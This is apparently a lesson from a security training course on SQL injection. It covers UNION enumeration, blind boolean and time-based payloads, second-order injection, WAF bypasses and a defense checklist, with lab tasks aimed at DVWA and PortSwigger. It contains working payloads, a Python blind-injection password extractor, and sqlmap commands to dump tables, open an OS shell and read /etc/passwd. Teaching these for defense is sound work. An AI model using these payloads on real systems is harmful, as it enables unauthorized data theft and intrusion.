SQL Injection: Exploitation & Defense In-Depth

Deep dive into SQL injection — in-band, blind, out-of-band, second-order, and WAF bypass techniques — with sqlmap and full defensive countermeasures.

Hard 75m 3 tasks

Learning Objectives

  • → Exploit in-band (UNION) SQLi to extract database schema and data
  • → Automate blind SQLi extraction with binary search
  • → Use sqlmap for automated SQL injection discovery and exploitation
  • → Identify and bypass common input sanitization and WAFs
  • → Apply defense-in-depth: parameterized queries, ORM, least privilege, monitoring

Recall: What is SQLi?

User input concatenated into SQL → attacker changes query logic.

# VULNERABLE
query = "SELECT * FROM users WHERE username = '" + username + "'"

# username = admin'--
# Result: SELECT * FROM users WHERE username = 'admin'--'
# '--' comments out the rest → password check removed

Database Enumeration via UNION

Step 1: Determine column count

' ORDER BY 1--        (no error)
' ORDER BY 2--        (no error)
' ORDER BY 5--        (error → 4 columns)

-- Or with NULL:
' UNION SELECT NULL--           (error if 1 col)
' UNION SELECT NULL,NULL--      (error if 2 col)
' UNION SELECT NULL,NULL,NULL,NULL--  (works → 4 cols)

Step 2: Find string-injectable column

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--

Step 3: Extract database metadata (SQLite)

-- List all tables
' UNION SELECT name,NULL,NULL,NULL FROM sqlite_master WHERE type='table'--

-- MySQL
' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables
  WHERE table_schema=database()--

-- List columns of a table
' UNION SELECT column_name,NULL,NULL,NULL
  FROM information_schema.columns WHERE table_name='users'--

-- Extract data
' UNION SELECT username,password,email,NULL FROM users--

Step 4: Concatenate multiple values in one column

-- SQLite
' UNION SELECT group_concat(username||':'||password),NULL,NULL,NULL FROM users--

-- MySQL
' UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL,NULL FROM users--

Database Fingerprinting

-- Which DB?
' UNION SELECT @@version,NULL,NULL,NULL--          MySQL/MSSQL
' UNION SELECT version(),NULL,NULL,NULL--          PostgreSQL
' UNION SELECT sqlite_version(),NULL,NULL,NULL--   SQLite
' UNION SELECT NULL,NULL,NULL,NULL FROM dual--     Oracle (needs dual table)

-- Current user and DB
' UNION SELECT user(),database(),NULL,NULL--       MySQL
' UNION SELECT current_user,current_database(),NULL,NULL--  PostgreSQL

Blind SQLi – Boolean

When no data is reflected but app behaves differently:

-- True: page loads normally
' AND 1=1--

-- False: page is empty / different
' AND 1=2--

-- Extract first char of admin password
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='b'--
...

-- Binary search (much faster):
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 64--
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 96--
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 112--
# Python binary search blind SQLi extractor
import requests

URL = "https://target/search"

def char_at(pos: int) -> str:
    lo, hi = 32, 126
    while lo <= hi:
        mid = (lo + hi) // 2
        payload = f"' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 1),{pos},1)) > {mid}--"
        r = requests.get(URL, params={"q": payload})
        if "found" in r.text:  # true condition
            lo = mid + 1
        else:
            hi = mid - 1
    return chr(lo)

password = "".join(char_at(i) for i in range(1, 33))
print("Password:", password)

Time-Based Blind SQLi

No visible difference — use response delay:

-- MySQL: SLEEP(5) if condition is true
' AND IF((SELECT COUNT(*) FROM users WHERE username='admin')>0, SLEEP(5), 0)--

-- PostgreSQL
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users LIMIT 1)--

-- SQLite (no native sleep — use heavy computation)
' AND (SELECT CASE WHEN (1=1) THEN RANDOMBLOB(100000000) ELSE 1 END)--

Second-Order SQLi

Payload stored safely, retrieved and used unsafely later:

-- Registration stores username with single quote:
username: admin'--

-- Login query using stored username (vulnerable):
query = "SELECT * FROM users WHERE username = '" + stored_username + "' AND active=1"
-- Executes: SELECT * FROM users WHERE username = 'admin'--' AND active=1
-- → bypasses active check!

-- Defense: parameterize ALL queries, including those using stored data

sqlmap – Automated SQLi

# Basic detection
sqlmap -u "https://target.com/search?q=test" --batch

# POST request
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch

# Custom headers
sqlmap -u "https://target.com/api/user"   -H "Authorization: Bearer TOKEN"   -H "Content-Type: application/json"   --data='{"id": 1}' --batch

# Extract database
sqlmap -u "URL" --dbs                    # list databases
sqlmap -u "URL" -D mydb --tables         # list tables
sqlmap -u "URL" -D mydb -T users --dump  # dump table

# Specific injection technique
sqlmap -u "URL" --technique=U   # UNION only
sqlmap -u "URL" --technique=B   # Boolean only
sqlmap -u "URL" --technique=T   # Time-based only

# WAF bypass
sqlmap -u "URL" --tamper=space2comment,randomcase,between
sqlmap -u "URL" --random-agent --delay=2

# OS command (if DB allows)
sqlmap -u "URL" --os-shell   # try to get OS shell via DB
sqlmap -u "URL" --file-read="/etc/passwd"

WAF Bypass Techniques

-- 1. Case variation
SeLeCt * FrOm users

-- 2. Comments as whitespace
SELECT/**/username/**/FROM/**/users

-- 3. URL encoding
%27 = '    %20 = space    %23 = #

-- 4. Double URL encoding
%2527 = %27 (decoded to ') by second decode

-- 5. Unicode normalization
SELECT (full-width chars normalize to SELECT on some DBs)

-- 6. Alternative keywords
UNION ALL SELECT instead of UNION SELECT
0x61 instead of 'a' (hex string)

-- 7. HTTP parameter pollution
?id=1&id=2 UNION SELECT... (some parsers take last value, WAF checks first)

-- 8. Chunked encoding bypass
Transfer-Encoding: chunked — WAF may not reassemble

-- sqlmap tamper scripts
randomcase    → RaNdOm CaSe
space2comment → space → /**/
between       → > x → BETWEEN x AND x+1

Defense Checklist

✅ Parameterized queries / prepared statements (ALWAYS)
✅ ORM — Django/SQLAlchemy (use raw() with params only)
✅ Least privilege DB user (no CREATE TABLE, no FILE)
✅ Input validation (type, length, format — secondary defense)
✅ Error handling — never show DB errors to users
✅ WAF as additional layer (not sole defense)
✅ Monitor for SQLi patterns in logs
✅ Pen test / automated scan before production

Using a DVWA or PortSwigger SQLi lab (Low security): (1) determine column count with ORDER BY, (2) find string-injectable column, (3) extract the database version, (4) list all tables, (5) dump the users table (username + password). Use Burp Repeater for each step — document the exact payload and result for each.

✦ Answer the questions to complete this task

What SQLite table stores database schema (table names)?

What does GROUP_CONCAT() do in SQLi exfiltration?

Write a Python script that extracts the admin password from a blind boolean SQLi endpoint: (1) implement binary search on ASCII values, (2) use SUBSTR() to check character by character, (3) detect true/false conditions by response length or content, (4) run the script and extract the full password. Then test for time-based as an alternative.

✦ Answer the questions to complete this task

Why is binary search better than linear search for blind SQLi?

Run sqlmap against a vulnerable target (e.g., DVWA with Low security or a local Flask vulnerable app): (1) detect injection with sqlmap -u URL, (2) list databases with --dbs, (3) dump the users table with --dump, (4) try WAF bypass with --tamper=randomcase,space2comment, (5) document which sqlmap technique was used (U/B/T/S/Q/E).

✦ Answer the questions to complete this task

What sqlmap flag dumps all data from a specific table?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

SQL Injection Advanced MCQ

SQL Injection Advanced MCQ

Start →
⚙️ Practical Medium +30 XP

Full SQLi Assessment

Full SQLi Assessment

Start →
🚩 Challenge Hard +50 XP

Extract the Secret

Extract the Secret

Start →